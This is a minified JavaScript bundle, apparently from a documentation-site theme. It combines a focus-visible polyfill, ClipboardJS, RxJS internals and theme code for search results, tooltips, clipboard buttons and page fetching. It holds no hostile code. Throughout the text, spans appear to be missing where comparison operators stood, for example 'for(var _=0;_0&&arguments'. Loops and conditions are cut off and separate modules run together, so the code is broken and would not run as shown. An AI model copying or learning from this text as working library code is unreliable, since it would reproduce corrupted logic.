Z(H){H.target.nodeName&&H.target.nodeName.toLowerCase()==="html"||(o=!1,ne())}document.addEventListener("keydown",f,!0),document.addEventListener("mousedown",u,!0),document.addEventListener("pointerdown",u,!0),document.addEventListener("touchstart",u,!0),document.addEventListener("visibilitychange",L,!0),ee(),r.addEventListener("focus",d,!0),r.addEventListener("blur",x,!0),r.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&r.host?r.host.setAttribute("data-js-focus-visible",""):r.nodeType===Node.DOCUMENT_NODE&&(document.documentElement.classList.add("js-focus-visible"),document.documentElement.setAttribute("data-js-focus-visible",""))}if(typeof window!="undefined"&&typeof document!="undefined"){window.applyFocusVisiblePolyfill=e;var t;try{t=new CustomEvent("focus-visible-polyfill-ready")}catch(r){t=document.createEvent("CustomEvent"),t.initCustomEvent("focus-visible-polyfill-ready",!1,!1,{})}window.dispatchEvent(t)}typeof document!="undefined"&&e(document)})});var io=Cr((Vt,no)=>{(function(t,r){typeof Vt=="object"&&typeof no=="object"?no.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Vt=="object"?Vt.ClipboardJS=r():t.ClipboardJS=r()})(Vt,function(){return function(){var e={686:function(o,n,i){"use strict";i.d(n,{default:function(){return Bi}});var s=i(279),a=i.n(s),c=i(370),p=i.n(c),l=i(817),f=i.n(l);function u(q){try{return document.execCommand(q)}catch(C){return!1}}var d=function(C){var _=f()(C);return u("cut"),_},x=d;function L(q){var C=document.documentElement.getAttribute("dir")==="rtl",_=document.createElement("textarea");_.style.fontSize="12pt",_.style.border="0",_.style.padding="0",_.style.margin="0",_.style.position="absolute",_.style[C?"right":"left"]="-9999px";var D=window.pageYOffset||document.documentElement.scrollTop;return _.style.top="".concat(D,"px"),_.setAttribute("readonly",""),_.value=q,_}var ee=function(C,_){var D=L(C);_.container.appendChild(D);var V=f()(D);return u("copy"),D.remove(),V},ne=function(C){var _=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body},D="";return typeof C=="string"?D=ee(C,_):C instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(C==null?void 0:C.type)?D=ee(C.value,_):(D=f()(C),u("copy")),D},Z=ne;function H(q){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?H=function(_){return typeof _}:H=function(_){return _&&typeof Symbol=="function"&&_.constructor===Symbol&&_!==Symbol.prototype?"symbol":typeof _},H(q)}var ut=function(){var C=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},_=C.action,D=_===void 0?"copy":_,V=C.container,G=C.target,Ue=C.text;if(D!=="copy"&&D!=="cut")throw new Error('Invalid "action" value, use either "copy" or "cut"');if(G!==void 0)if(G&&H(G)==="object"&&G.nodeType===1){if(D==="copy"&&G.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if(D==="cut"&&(G.hasAttribute("readonly")||G.hasAttribute("disabled")))throw new Error(`Invalid "target" attribute. You can't cut text from elements with "readonly" or "disabled" attributes`)}else throw new Error('Invalid "target" value, use a valid Element');if(Ue)return Z(Ue,{container:V});if(G)return D==="cut"?x(G):Z(G,{container:V})},Fe=ut;function P(q){"@babel/helpers - typeof";return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?P=function(_){return typeof _}:P=function(_){return _&&typeof Symbol=="function"&&_.constructor===Symbol&&_!==Symbol.prototype?"symbol":typeof _},P(q)}function se(q,C){if(!(q instanceof C))throw new TypeError("Cannot call a class as a function")}function ce(q,C){for(var _=0;_0&&arguments[0]!==void 0?arguments[0]:{};this.action=typeof V.action=="function"?V.action:this.defaultAction,this.target=typeof V.target=="function"?V.target:this.defaultTarget,this.text=typeof V.text=="function"?V.text:this.defaultText,this.container=P(V.container)==="object"?V.container:document.body}},{key:"listenClick",value:function(V){var G=this;this.listener=p()(V,"click",function(Ue){return G.onClick(Ue)})}},{key:"onClick",value:function(V){var G=V.delegateTarget||V.currentTarget,Ue=this.action(G)||"copy",Yt=Fe({action:Ue,container:this.container,target:this.target(G),text:this.text(G)});this.emit(Yt?"success":"error",{action:Ue,text:Yt,trigger:G,clearSelection:function(){G&&G.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(V){return Mr("action",V)}},{key:"defaultTarget",value:function(V){var G=Mr("target",V);if(G)return document.querySelector(G)}},{key:"defaultText",value:function(V){return Mr("text",V)}},{key:"destroy",value:function(){this.listener.destroy()}}],[{key:"copy",value:function(V){var G=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body};return Z(V,G)}},{key:"cut",value:function(V){return x(V)}},{key:"isSupported",value:function(){var V=arguments.length>0&&arguments[0]!==void 0?arguments[0]:["copy","cut"],G=typeof V=="string"?[V]:V,Ue=!!document.queryCommandSupported;return G.forEach(function(Yt){Ue=Ue&&!!document.queryCommandSupported(Yt)}),Ue}}]),_}(a()),Bi=Yi},828:function(o){var n=9;if(typeof Element!="undefined"&&!Element.prototype.matches){var i=Element.prototype;i.matches=i.matchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector||i.webkitMatchesSelector}function s(a,c){for(;a&&a.nodeType!==n;){if(typeof a.matches=="function"&&a.matches(c))return a;a=a.parentNode}}o.exports=s},438:function(o,n,i){var s=i(828);function a(l,f,u,d,x){var L=p.apply(this,arguments);return l.addEventListener(u,L,x),{destroy:function(){l.removeEventListener(u,L,x)}}}function c(l,f,u,d,x){return typeof l.addEventListener=="function"?a.apply(null,arguments):typeof u=="function"?a.bind(null,document).apply(null,arguments):(typeof l=="string"&&(l=document.querySelectorAll(l)),Array.prototype.map.call(l,function(L){return a(L,f,u,d,x)}))}function p(l,f,u,d){return function(x){x.delegateTarget=s(x.target,f),x.delegateTarget&&d.call(l,x)}}o.exports=c},879:function(o,n){n.node=function(i){return i!==void 0&&i instanceof HTMLElement&&i.nodeType===1},n.nodeList=function(i){var s=Object.prototype.toString.call(i);return i!==void 0&&(s==="[object NodeList]"||s==="[object HTMLCollection]")&&"length"in i&&(i.length===0||n.node(i[0]))},n.string=function(i){return typeof i=="string"||i instanceof String},n.fn=function(i){var s=Object.prototype.toString.call(i);return s==="[object Function]"}},370:function(o,n,i){var s=i(879),a=i(438);function c(u,d,x){if(!u&&!d&&!x)throw new Error("Missing required arguments");if(!s.string(d))throw new TypeError("Second argument must be a String");if(!s.fn(x))throw new TypeError("Third argument must be a Function");if(s.node(u))return p(u,d,x);if(s.nodeList(u))return l(u,d,x);if(s.string(u))return f(u,d,x);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function p(u,d,x){return u.addEventListener(d,x),{destroy:function(){u.removeEventListener(d,x)}}}function l(u,d,x){return Array.prototype.forEach.call(u,function(L){L.addEventListener(d,x)}),{destroy:function(){Array.prototype.forEach.call(u,function(L){L.removeEventListener(d,x)})}}}function f(u,d,x){return a(document.body,u,d,x)}o.exports=c},817:function(o){function n(i){var s;if(i.nodeName==="SELECT")i.focus(),s=i.value;else if(i.nodeName==="INPUT"||i.nodeName==="TEXTAREA"){var a=i.hasAttribute("readonly");a||i.setAttribute("readonly",""),i.select(),i.setSelectionRange(0,i.value.length),a||i.removeAttribute("readonly"),s=i.value}else{i.hasAttribute("contenteditable")&&i.focus();var c=window.getSelection(),p=document.createRange();p.selectNodeContents(i),c.removeAllRanges(),c.addRange(p),s=c.toString()}return s}o.exports=n},279:function(o){function n(){}n.prototype={on:function(i,s,a){var c=this.e||(this.e={});return(c[i]||(c[i]=[])).push({fn:s,ctx:a}),this},once:function(i,s,a){var c=this;function p(){c.off(i,p),s.apply(a,arguments)}return p._=s,this.on(i,p,a)},emit:function(i){var s=[].slice.call(arguments,1),a=((this.e||(this.e={}))[i]||[]).slice(),c=0,p=a.length;for(c;c{"use strict";var us=/["'&<>]/;hi.exports=ds;function ds(e){var t=""+e,r=us.exec(t);if(!r)return t;var o,n="",i=0,s=0;for(i=r.index;i0&&i[i.length-1])&&(p[0]===6||p[0]===2)){r=0;continue}if(p[0]===3&&(!i||p[1]>i[0]&&p[1]=e.length&&(e=void 0),{value:e&&e[o++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function K(e,t){var r=typeof Symbol=="function"&&e[Symbol.iterator];if(!r)return e;var o=r.call(e),n,i=[],s;try{for(;(t===void 0||t-- >0)&&!(n=o.next()).done;)i.push(n.value)}catch(a){s={error:a}}finally{try{n&&!n.done&&(r=o.return)&&r.call(o)}finally{if(s)throw s.error}}return i}function B(e,t,r){if(r||arguments.length===2)for(var o=0,n=t.length,i;o1||a(u,d)})})}function a(u,d){try{c(o[u](d))}catch(x){f(i[0][3],x)}}function c(u){u.value instanceof dt?Promise.resolve(u.value.v).then(p,l):f(i[0][2],u)}function p(u){a("next",u)}function l(u){a("throw",u)}function f(u,d){u(d),i.shift(),i.length&&a(i[0][0],i[0][1])}}function Eo(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t=e[Symbol.asyncIterator],r;return t?t.call(e):(e=typeof Oe=="function"?Oe(e):e[Symbol.iterator](),r={},o("next"),o("throw"),o("return"),r[Symbol.asyncIterator]=function(){return this},r);function o(i){r[i]=e[i]&&function(s){return new Promise(function(a,c){s=e[i](s),n(a,c,s.done,s.value)})}}function n(i,s,a,c){Promise.resolve(c).then(function(p){i({value:p,done:a})},s)}}function I(e){return typeof e=="function"}function xt(e){var t=function(o){Error.call(o),o.stack=new Error().stack},r=e(t);return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}var Xt=xt(function(e){return function(r){e(this),this.message=r?r.length+` errors occurred during unsubscription: +`+r.map(function(o,n){return n+1+") "+o.toString()}).join(` + `):"",this.name="UnsubscriptionError",this.errors=r}});function Ze(e,t){if(e){var r=e.indexOf(t);0<=r&&e.splice(r,1)}}var qe=function(){function e(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}return e.prototype.unsubscribe=function(){var t,r,o,n,i;if(!this.closed){this.closed=!0;var s=this._parentage;if(s)if(this._parentage=null,Array.isArray(s))try{for(var a=Oe(s),c=a.next();!c.done;c=a.next()){var p=c.value;p.remove(this)}}catch(L){t={error:L}}finally{try{c&&!c.done&&(r=a.return)&&r.call(a)}finally{if(t)throw t.error}}else s.remove(this);var l=this.initialTeardown;if(I(l))try{l()}catch(L){i=L instanceof Xt?L.errors:[L]}var f=this._finalizers;if(f){this._finalizers=null;try{for(var u=Oe(f),d=u.next();!d.done;d=u.next()){var x=d.value;try{wo(x)}catch(L){i=i!=null?i:[],L instanceof Xt?i=B(B([],K(i)),K(L.errors)):i.push(L)}}}catch(L){o={error:L}}finally{try{d&&!d.done&&(n=u.return)&&n.call(u)}finally{if(o)throw o.error}}}if(i)throw new Xt(i)}},e.prototype.add=function(t){var r;if(t&&t!==this)if(this.closed)wo(t);else{if(t instanceof e){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=(r=this._finalizers)!==null&&r!==void 0?r:[]).push(t)}},e.prototype._hasParent=function(t){var r=this._parentage;return r===t||Array.isArray(r)&&r.includes(t)},e.prototype._addParent=function(t){var r=this._parentage;this._parentage=Array.isArray(r)?(r.push(t),r):r?[r,t]:t},e.prototype._removeParent=function(t){var r=this._parentage;r===t?this._parentage=null:Array.isArray(r)&&Ze(r,t)},e.prototype.remove=function(t){var r=this._finalizers;r&&Ze(r,t),t instanceof e&&t._removeParent(this)},e.EMPTY=function(){var t=new e;return t.closed=!0,t}(),e}();var kr=qe.EMPTY;function Zt(e){return e instanceof qe||e&&"closed"in e&&I(e.remove)&&I(e.add)&&I(e.unsubscribe)}function wo(e){I(e)?e():e.unsubscribe()}var We={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1};var yt={setTimeout:function(e,t){for(var r=[],o=2;o0},enumerable:!1,configurable:!0}),t.prototype._trySubscribe=function(r){return this._throwIfClosed(),e.prototype._trySubscribe.call(this,r)},t.prototype._subscribe=function(r){return this._throwIfClosed(),this._checkFinalizedStatuses(r),this._innerSubscribe(r)},t.prototype._innerSubscribe=function(r){var o=this,n=this,i=n.hasError,s=n.isStopped,a=n.observers;return i||s?kr:(this.currentObservers=null,a.push(r),new qe(function(){o.currentObservers=null,Ze(a,r)}))},t.prototype._checkFinalizedStatuses=function(r){var o=this,n=o.hasError,i=o.thrownError,s=o.isStopped;n?r.error(i):s&&r.complete()},t.prototype.asObservable=function(){var r=new F;return r.source=this,r},t.create=function(r,o){return new Co(r,o)},t}(F);var Co=function(e){ie(t,e);function t(r,o){var n=e.call(this)||this;return n.destination=r,n.source=o,n}return t.prototype.next=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.next)===null||n===void 0||n.call(o,r)},t.prototype.error=function(r){var o,n;(n=(o=this.destination)===null||o===void 0?void 0:o.error)===null||n===void 0||n.call(o,r)},t.prototype.complete=function(){var r,o;(o=(r=this.destination)===null||r===void 0?void 0:r.complete)===null||o===void 0||o.call(r)},t.prototype._subscribe=function(r){var o,n;return(n=(o=this.source)===null||o===void 0?void 0:o.subscribe(r))!==null&&n!==void 0?n:kr},t}(T);var jr=function(e){ie(t,e);function t(r){var o=e.call(this)||this;return o._value=r,o}return Object.defineProperty(t.prototype,"value",{get:function(){return this.getValue()},enumerable:!1,configurable:!0}),t.prototype._subscribe=function(r){var o=e.prototype._subscribe.call(this,r);return!o.closed&&r.next(this._value),o},t.prototype.getValue=function(){var r=this,o=r.hasError,n=r.thrownError,i=r._value;if(o)throw n;return this._throwIfClosed(),i},t.prototype.next=function(r){e.prototype.next.call(this,this._value=r)},t}(T);var Pt={now:function(){return(Pt.delegate||Date).now()},delegate:void 0};var It=function(e){ie(t,e);function t(r,o,n){r===void 0&&(r=1/0),o===void 0&&(o=1/0),n===void 0&&(n=Pt);var i=e.call(this)||this;return i._bufferSize=r,i._windowTime=o,i._timestampProvider=n,i._buffer=[],i._infiniteTimeWindow=!0,i._infiniteTimeWindow=o===1/0,i._bufferSize=Math.max(1,r),i._windowTime=Math.max(1,o),i}return t.prototype.next=function(r){var o=this,n=o.isStopped,i=o._buffer,s=o._infiniteTimeWindow,a=o._timestampProvider,c=o._windowTime;n||(i.push(r),!s&&i.push(a.now()+c)),this._trimBuffer(),e.prototype.next.call(this,r)},t.prototype._subscribe=function(r){this._throwIfClosed(),this._trimBuffer();for(var o=this._innerSubscribe(r),n=this,i=n._infiniteTimeWindow,s=n._buffer,a=s.slice(),c=0;c0?e.prototype.schedule.call(this,r,o):(this.delay=o,this.state=r,this.scheduler.flush(this),this)},t.prototype.execute=function(r,o){return o>0||this.closed?e.prototype.execute.call(this,r,o):this._execute(r,o)},t.prototype.requestAsyncId=function(r,o,n){return n===void 0&&(n=0),n!=null&&n>0||n==null&&this.delay>0?e.prototype.requestAsyncId.call(this,r,o,n):(r.flush(this),0)},t}(St);var ko=function(e){ie(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t}(Ot);var Dr=new ko($o);var Ro=function(e){ie(t,e);function t(r,o){var n=e.call(this,r,o)||this;return n.scheduler=r,n.work=o,n}return t.prototype.requestAsyncId=function(r,o,n){return n===void 0&&(n=0),n!==null&&n>0?e.prototype.requestAsyncId.call(this,r,o,n):(r.actions.push(this),r._scheduled||(r._scheduled=Tt.requestAnimationFrame(function(){return r.flush(void 0)})))},t.prototype.recycleAsyncId=function(r,o,n){var i;if(n===void 0&&(n=0),n!=null?n>0:this.delay>0)return e.prototype.recycleAsyncId.call(this,r,o,n);var s=r.actions;o!=null&&((i=s[s.length-1])===null||i===void 0?void 0:i.id)!==o&&(Tt.cancelAnimationFrame(o),r._scheduled=void 0)},t}(St);var Po=function(e){ie(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.flush=function(r){this._active=!0;var o=this._scheduled;this._scheduled=void 0;var n=this.actions,i;r=r||n.shift();do if(i=r.execute(r.state,r.delay))break;while((r=n[0])&&r.id===o&&n.shift());if(this._active=!1,i){for(;(r=n[0])&&r.id===o&&n.shift();)r.unsubscribe();throw i}},t}(Ot);var xe=new Po(Ro);var g=new F(function(e){return e.complete()});function rr(e){return e&&I(e.schedule)}function Nr(e){return e[e.length-1]}function pt(e){return I(Nr(e))?e.pop():void 0}function Ie(e){return rr(Nr(e))?e.pop():void 0}function or(e,t){return typeof Nr(e)=="number"?e.pop():t}var Lt=function(e){return e&&typeof e.length=="number"&&typeof e!="function"};function nr(e){return I(e==null?void 0:e.then)}function ir(e){return I(e[wt])}function ar(e){return Symbol.asyncIterator&&I(e==null?void 0:e[Symbol.asyncIterator])}function sr(e){return new TypeError("You provided "+(e!==null&&typeof e=="object"?"an invalid object":"'"+e+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function pa(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var cr=pa();function pr(e){return I(e==null?void 0:e[cr])}function lr(e){return yo(this,arguments,function(){var r,o,n,i;return Jt(this,function(s){switch(s.label){case 0:r=e.getReader(),s.label=1;case 1:s.trys.push([1,,9,10]),s.label=2;case 2:return[4,dt(r.read())];case 3:return o=s.sent(),n=o.value,i=o.done,i?[4,dt(void 0)]:[3,5];case 4:return[2,s.sent()];case 5:return[4,dt(n)];case 6:return[4,s.sent()];case 7:return s.sent(),[3,2];case 8:return[3,10];case 9:return r.releaseLock(),[7];case 10:return[2]}})})}function mr(e){return I(e==null?void 0:e.getReader)}function U(e){if(e instanceof F)return e;if(e!=null){if(ir(e))return la(e);if(Lt(e))return ma(e);if(nr(e))return fa(e);if(ar(e))return Io(e);if(pr(e))return ua(e);if(mr(e))return da(e)}throw sr(e)}function la(e){return new F(function(t){var r=e[wt]();if(I(r.subscribe))return r.subscribe(t);throw new TypeError("Provided object does not correctly implement Symbol.observable")})}function ma(e){return new F(function(t){for(var r=0;r=2;return function(o){return o.pipe(e?v(function(n,i){return e(n,i,o)}):be,Ee(1),r?Qe(t):Zo(function(){return new ur}))}}function Yr(e){return e<=0?function(){return g}:E(function(t,r){var o=[];t.subscribe(w(r,function(n){o.push(n),e=2,!0))}function le(e){e===void 0&&(e={});var t=e.connector,r=t===void 0?function(){return new T}:t,o=e.resetOnError,n=o===void 0?!0:o,i=e.resetOnComplete,s=i===void 0?!0:i,a=e.resetOnRefCountZero,c=a===void 0?!0:a;return function(p){var l,f,u,d=0,x=!1,L=!1,ee=function(){f==null||f.unsubscribe(),f=void 0},ne=function(){ee(),l=u=void 0,x=L=!1},Z=function(){var H=l;ne(),H==null||H.unsubscribe()};return E(function(H,ut){d++,!L&&!x&&ee();var Fe=u=u!=null?u:r();ut.add(function(){d--,d===0&&!L&&!x&&(f=Br(Z,c))}),Fe.subscribe(ut),!l&&d>0&&(l=new bt({next:function(P){return Fe.next(P)},error:function(P){L=!0,ee(),f=Br(ne,n,P),Fe.error(P)},complete:function(){x=!0,ee(),f=Br(ne,s),Fe.complete()}}),U(H).subscribe(l))})(p)}}function Br(e,t){for(var r=[],o=2;oe.next(document)),e}function M(e,t=document){return Array.from(t.querySelectorAll(e))}function j(e,t=document){let r=ue(e,t);if(typeof r=="undefined")throw new ReferenceError(`Missing element: expected "${e}" to be present`);return r}function ue(e,t=document){return t.querySelector(e)||void 0}function Ve(){var e,t,r,o;return(o=(r=(t=(e=document.activeElement)==null?void 0:e.shadowRoot)==null?void 0:t.activeElement)!=null?r:document.activeElement)!=null?o:void 0}var $a=O(h(document.body,"focusin"),h(document.body,"focusout")).pipe(Ae(1),Q(void 0),m(()=>Ve()||document.body),X(1));function Ye(e){return $a.pipe(m(t=>e.contains(t)),Y())}function it(e,t){return $(()=>O(h(e,"mouseenter").pipe(m(()=>!0)),h(e,"mouseleave").pipe(m(()=>!1))).pipe(t?jt(r=>$e(+!r*t)):be,Q(e.matches(":hover"))))}function nn(e,t){if(typeof t=="string"||typeof t=="number")e.innerHTML+=t.toString();else if(t instanceof Node)e.appendChild(t);else if(Array.isArray(t))for(let r of t)nn(e,r)}function y(e,t,...r){let o=document.createElement(e);if(t)for(let n of Object.keys(t))typeof t[n]!="undefined"&&(typeof t[n]!="boolean"?o.setAttribute(n,t[n]):o.setAttribute(n,""));for(let n of r)nn(o,n);return o}function br(e){if(e>999){let t=+((e-950)%1e3>99);return`${((e+1e-6)/1e3).toFixed(t)}k`}else return e.toString()}function At(e){let t=y("script",{src:e});return $(()=>(document.head.appendChild(t),O(h(t,"load"),h(t,"error").pipe(b(()=>Vr(()=>new ReferenceError(`Invalid script: ${e}`))))).pipe(m(()=>{}),A(()=>document.head.removeChild(t)),Ee(1))))}var an=new T,ka=$(()=>typeof ResizeObserver=="undefined"?At("https://unpkg.com/resize-observer-polyfill"):k(void 0)).pipe(m(()=>new ResizeObserver(e=>e.forEach(t=>an.next(t)))),b(e=>O(tt,k(e)).pipe(A(()=>e.disconnect()))),X(1));function de(e){return{width:e.offsetWidth,height:e.offsetHeight}}function Le(e){let t=e;for(;t.clientWidth===0&&t.parentElement;)t=t.parentElement;return ka.pipe(S(r=>r.observe(t)),b(r=>an.pipe(v(o=>o.target===t),A(()=>r.unobserve(t)))),m(()=>de(e)),Q(de(e)))}function Ct(e){return{width:e.scrollWidth,height:e.scrollHeight}}function vr(e){let t=e.parentElement;for(;t&&(e.scrollWidth<=t.scrollWidth&&e.scrollHeight<=t.scrollHeight);)t=(e=t).parentElement;return t?e:void 0}function sn(e){let t=[],r=e.parentElement;for(;r;)(e.clientWidth>r.clientWidth||e.clientHeight>r.clientHeight)&&t.push(r),r=(e=r).parentElement;return t.length===0&&t.push(document.documentElement),t}function Be(e){return{x:e.offsetLeft,y:e.offsetTop}}function cn(e){let t=e.getBoundingClientRect();return{x:t.x+window.scrollX,y:t.y+window.scrollY}}function pn(e){return O(h(window,"load"),h(window,"resize")).pipe(ke(0,xe),m(()=>Be(e)),Q(Be(e)))}function gr(e){return{x:e.scrollLeft,y:e.scrollTop}}function Ge(e){return O(h(e,"scroll"),h(window,"scroll"),h(window,"resize")).pipe(ke(0,xe),m(()=>gr(e)),Q(gr(e)))}var ln=new T,Ra=$(()=>k(new IntersectionObserver(e=>{for(let t of e)ln.next(t)},{threshold:0}))).pipe(b(e=>O(tt,k(e)).pipe(A(()=>e.disconnect()))),X(1));function mt(e){return Ra.pipe(S(t=>t.observe(e)),b(t=>ln.pipe(v(({target:r})=>r===e),A(()=>t.unobserve(e)),m(({isIntersecting:r})=>r))))}function mn(e,t=16){return Ge(e).pipe(m(({y:r})=>{let o=de(e),n=Ct(e);return r>=n.height-o.height-t}),Y())}var xr={drawer:j("[data-md-toggle=drawer]"),search:j("[data-md-toggle=search]")};function fn(e){return xr[e].checked}function at(e,t){xr[e].checked!==t&&xr[e].click()}function Je(e){let t=xr[e];return h(t,"change").pipe(m(()=>t.checked),Q(t.checked))}function Pa(e,t){switch(e.constructor){case HTMLInputElement:return e.type==="radio"?/^Arrow/.test(t):!0;case HTMLSelectElement:case HTMLTextAreaElement:return!0;default:return e.isContentEditable}}function Ia(){return O(h(window,"compositionstart").pipe(m(()=>!0)),h(window,"compositionend").pipe(m(()=>!1))).pipe(Q(!1))}function un(){let e=h(window,"keydown").pipe(v(t=>!(t.metaKey||t.ctrlKey)),m(t=>({mode:fn("search")?"search":"global",type:t.key,claim(){t.preventDefault(),t.stopPropagation()}})),v(({mode:t,type:r})=>{if(t==="global"){let o=Ve();if(typeof o!="undefined")return!Pa(o,r)}return!0}),le());return Ia().pipe(b(t=>t?g:e))}function we(){return new URL(location.href)}function st(e,t=!1){if(N("navigation.instant")&&!t){let r=y("a",{href:e.href});document.body.appendChild(r),r.click(),r.remove()}else location.href=e.href}function dn(){return new T}function hn(){return location.hash.slice(1)}function bn(e){let t=y("a",{href:e});t.addEventListener("click",r=>r.stopPropagation()),t.click()}function Zr(e){return O(h(window,"hashchange"),e).pipe(m(hn),Q(hn()),v(t=>t.length>0),X(1))}function vn(e){return Zr(e).pipe(m(t=>ue(`[id="${t}"]`)),v(t=>typeof t!="undefined"))}function Wt(e){let t=matchMedia(e);return dr(r=>t.addListener(()=>r(t.matches))).pipe(Q(t.matches))}function gn(){let e=matchMedia("print");return O(h(window,"beforeprint").pipe(m(()=>!0)),h(window,"afterprint").pipe(m(()=>!1))).pipe(Q(e.matches))}function eo(e,t){return e.pipe(b(r=>r?t():g))}function to(e,t){return new F(r=>{let o=new XMLHttpRequest;return o.open("GET",`${e}`),o.responseType="blob",o.addEventListener("load",()=>{o.status>=200&&o.status<300?(r.next(o.response),r.complete()):r.error(new Error(o.statusText))}),o.addEventListener("error",()=>{r.error(new Error("Network error"))}),o.addEventListener("abort",()=>{r.complete()}),typeof(t==null?void 0:t.progress$)!="undefined"&&(o.addEventListener("progress",n=>{var i;if(n.lengthComputable)t.progress$.next(n.loaded/n.total*100);else{let s=(i=o.getResponseHeader("Content-Length"))!=null?i:0;t.progress$.next(n.loaded/+s*100)}}),t.progress$.next(5)),o.send(),()=>o.abort()})}function ze(e,t){return to(e,t).pipe(b(r=>r.text()),m(r=>JSON.parse(r)),X(1))}function yr(e,t){let r=new DOMParser;return to(e,t).pipe(b(o=>o.text()),m(o=>r.parseFromString(o,"text/html")),X(1))}function xn(e,t){let r=new DOMParser;return to(e,t).pipe(b(o=>o.text()),m(o=>r.parseFromString(o,"text/xml")),X(1))}function yn(){return{x:Math.max(0,scrollX),y:Math.max(0,scrollY)}}function En(){return O(h(window,"scroll",{passive:!0}),h(window,"resize",{passive:!0})).pipe(m(yn),Q(yn()))}function wn(){return{width:innerWidth,height:innerHeight}}function Tn(){return h(window,"resize",{passive:!0}).pipe(m(wn),Q(wn()))}function Sn(){return z([En(),Tn()]).pipe(m(([e,t])=>({offset:e,size:t})),X(1))}function Er(e,{viewport$:t,header$:r}){let o=t.pipe(oe("size")),n=z([o,r]).pipe(m(()=>Be(e)));return z([r,t,n]).pipe(m(([{height:i},{offset:s,size:a},{x:c,y:p}])=>({offset:{x:s.x-c,y:s.y-p+i},size:a})))}function Fa(e){return h(e,"message",t=>t.data)}function ja(e){let t=new T;return t.subscribe(r=>e.postMessage(r)),t}function On(e,t=new Worker(e)){let r=Fa(t),o=ja(t),n=new T;n.subscribe(o);let i=o.pipe(re(),ae(!0));return n.pipe(re(),Ne(r.pipe(W(i))),le())}var Ua=j("#__config"),Ht=JSON.parse(Ua.textContent);Ht.base=`${new URL(Ht.base,we())}`;function Te(){return Ht}function N(e){return Ht.features.includes(e)}function Me(e,t){return typeof t!="undefined"?Ht.translations[e].replace("#",t.toString()):Ht.translations[e]}function Ce(e,t=document){return j(`[data-md-component=${e}]`,t)}function me(e,t=document){return M(`[data-md-component=${e}]`,t)}function Wa(e){let t=j(".md-typeset > :first-child",e);return h(t,"click",{once:!0}).pipe(m(()=>j(".md-typeset",e)),m(r=>({hash:__md_hash(r.innerHTML)})))}function Ln(e){if(!N("announce.dismiss")||!e.childElementCount)return g;if(!e.hidden){let t=j(".md-typeset",e);__md_hash(t.innerHTML)===__md_get("__announce")&&(e.hidden=!0)}return $(()=>{let t=new T;return t.subscribe(({hash:r})=>{e.hidden=!0,__md_set("__announce",r)}),Wa(e).pipe(S(r=>t.next(r)),A(()=>t.complete()),m(r=>R({ref:e},r)))})}function Da(e,{target$:t}){return t.pipe(m(r=>({hidden:r!==e})))}function Mn(e,t){let r=new T;return r.subscribe(({hidden:o})=>{e.hidden=o}),Da(e,t).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>R({ref:e},o)))}function Dt(e,t){return t==="inline"?y("div",{class:"md-tooltip md-tooltip--inline",id:e,role:"tooltip"},y("div",{class:"md-tooltip__inner md-typeset"})):y("div",{class:"md-tooltip",id:e,role:"tooltip"},y("div",{class:"md-tooltip__inner md-typeset"}))}function wr(...e){return y("div",{class:"md-tooltip2",role:"dialog"},y("div",{class:"md-tooltip2__inner md-typeset"},e))}function _n(...e){return y("div",{class:"md-tooltip2",role:"tooltip"},y("div",{class:"md-tooltip2__inner md-typeset"},e))}function An(e,t){if(t=t?`${t}_annotation_${e}`:void 0,t){let r=t?`#${t}`:void 0;return y("aside",{class:"md-annotation",tabIndex:0},Dt(t),y("a",{href:r,class:"md-annotation__index",tabIndex:-1},y("span",{"data-md-annotation-id":e})))}else return y("aside",{class:"md-annotation",tabIndex:0},Dt(t),y("span",{class:"md-annotation__index",tabIndex:-1},y("span",{"data-md-annotation-id":e})))}function Cn(e){return y("button",{class:"md-code__button",title:Me("clipboard.copy"),"data-clipboard-target":`#${e} > code`,"data-md-type":"copy"})}function Hn(){return y("button",{class:"md-code__button",title:"Toggle line selection","data-md-type":"select"})}function $n(){return y("nav",{class:"md-code__nav"})}function ro(e,t){let r=t&2,o=t&1,n=Object.keys(e.terms).filter(c=>!e.terms[c]).reduce((c,p)=>[...c,y("del",null,p)," "],[]).slice(0,-1),i=Te(),s=new URL(e.location,i.base);N("search.highlight")&&s.searchParams.set("h",Object.entries(e.terms).filter(([,c])=>c).reduce((c,[p])=>`${c} ${p}`.trim(),""));let{tags:a}=Te();return y("a",{href:`${s}`,class:"md-search-result__link",tabIndex:-1},y("article",{class:"md-search-result__article md-typeset","data-md-score":e.score.toFixed(2)},r>0&&y("div",{class:"md-search-result__icon md-icon"}),r>0&&y("h1",null,e.title),r<=0&&y("h2",null,e.title),o>0&&e.text.length>0&&e.text,e.tags&&e.tags.map(c=>{let p=a?c in a?`md-tag-icon md-tag--${a[c]}`:"md-tag-icon":"";return y("span",{class:`md-tag ${p}`},c)}),o>0&&n.length>0&&y("p",{class:"md-search-result__terms"},Me("search.result.term.missing"),": ",...n)))}function kn(e){let t=e[0].score,r=[...e],o=Te(),n=r.findIndex(l=>!`${new 